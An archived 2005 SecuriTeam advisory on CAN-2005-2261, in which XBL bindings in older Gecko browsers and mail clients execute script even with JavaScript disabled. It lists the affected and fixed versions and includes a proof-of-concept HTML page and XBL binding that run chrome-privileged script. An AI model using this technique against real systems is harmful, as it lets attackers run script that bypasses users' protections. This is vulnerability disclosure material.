

# [NEWS] XBL Implementation Allows Script Execution (Gecko)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0085.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/27/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Jul 2005 14:48:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

XBL Implementation Allows Script Execution (Gecko)

---

## SUMMARY

" <<http://www.w3.org/TR/2001/NOTE-xbl-20010223/>> XBL is a markup language for describing bindings that can be attached to elements in other documents. Bindings can be attached to elements using either cascading stylesheets [CSS] or the document object model [DOM]. The element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding."

Lack of permission validation in Gecko based browsers and email clients allows XBL content to be executed, allowing attackers to cause a cross site scripting attack even if Javascript has been disabled.

## DETAILS

Vulnerable Systems:

- \* Mozilla Suite and Email client version 1.7.8 and prior
- \* Mozilla Firefox version 1.0.4 and prior
- \* Mozilla Thunderbird version 1.0.4
- \* Netscape Browser version 8.0.2 and prior
- \* K-Meleon browser version 0.9 and prior

## Securiteam: [NEWS] XBL Implementation Allows Script Execution (Gecko)

### Immune Systems:

- \* Mozilla Suite and Email client version 1.7.9
- \* Mozilla Firefox version 1.0.5
- \* Mozilla Thunderbird version 1.0.5

Scripts in XBL controls from web content continued to execute even when Javascript was disabled. By itself this causes no harm, but it could be combined with most script-based exploits to attack people running vulnerable versions who thought disabling Javascript would protect them.

In the Thunderbird and Mozilla Suite mail clients Javascript is disabled by default for protection against denial-of-service attacks and worms; this vulnerability could be used to bypass that protection.

### Proof of Concept:

index.html

```
<body>
<p>If the remote XBL is loaded, a red box appears below.</p>
<p style="-moz-binding:url(test-ex.xml#x);"></p>
</body>
```

test.ex.xml

```
<bindings>
<binding id="x">
<content>
<xul:vbox style="border: 2px solid rgb(255, 0, 0);">
<xul:label value="This is the remote XBL content."/>
<xul:label value="Left-click or Right-click or Middle-click on me."/>
</xul:vbox>
</content>
<implementation>
<property name="localName">
<getter>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\n\n' + Components.stack);'p';";
var s = new String("P");
s.toLowerCase = new Script(code);
return s;
</getter>
</property>
</implementation>
</binding>
</bindings>
```

### CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2261>>  
CAN-2005-2261

### ADDITIONAL INFORMATION

Securiteam: [NEWS] XBL Implementation Allows Script Execution (Gecko)

The information has been provided by <mailto:juha-matti.laurio@netti.fi>  
Juha-Matti Laurio .

The original article can be found at:

<<http://www.mozilla.org/security/announce/mfsa2005-46.html>>

<http://www.mozilla.org/security/announce/mfsa2005-46.html>

Bug reports ca be found at:

<[https://bugzilla.mozilla.org/show\\_bug.cgi?id=292589](https://bugzilla.mozilla.org/show_bug.cgi?id=292589)>

[https://bugzilla.mozilla.org/show\\_bug.cgi?id=292589](https://bugzilla.mozilla.org/show_bug.cgi?id=292589),

<[https://bugzilla.mozilla.org/show\\_bug.cgi?id=292591](https://bugzilla.mozilla.org/show_bug.cgi?id=292591)>

[https://bugzilla.mozilla.org/show\\_bug.cgi?id=292591](https://bugzilla.mozilla.org/show_bug.cgi?id=292591)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.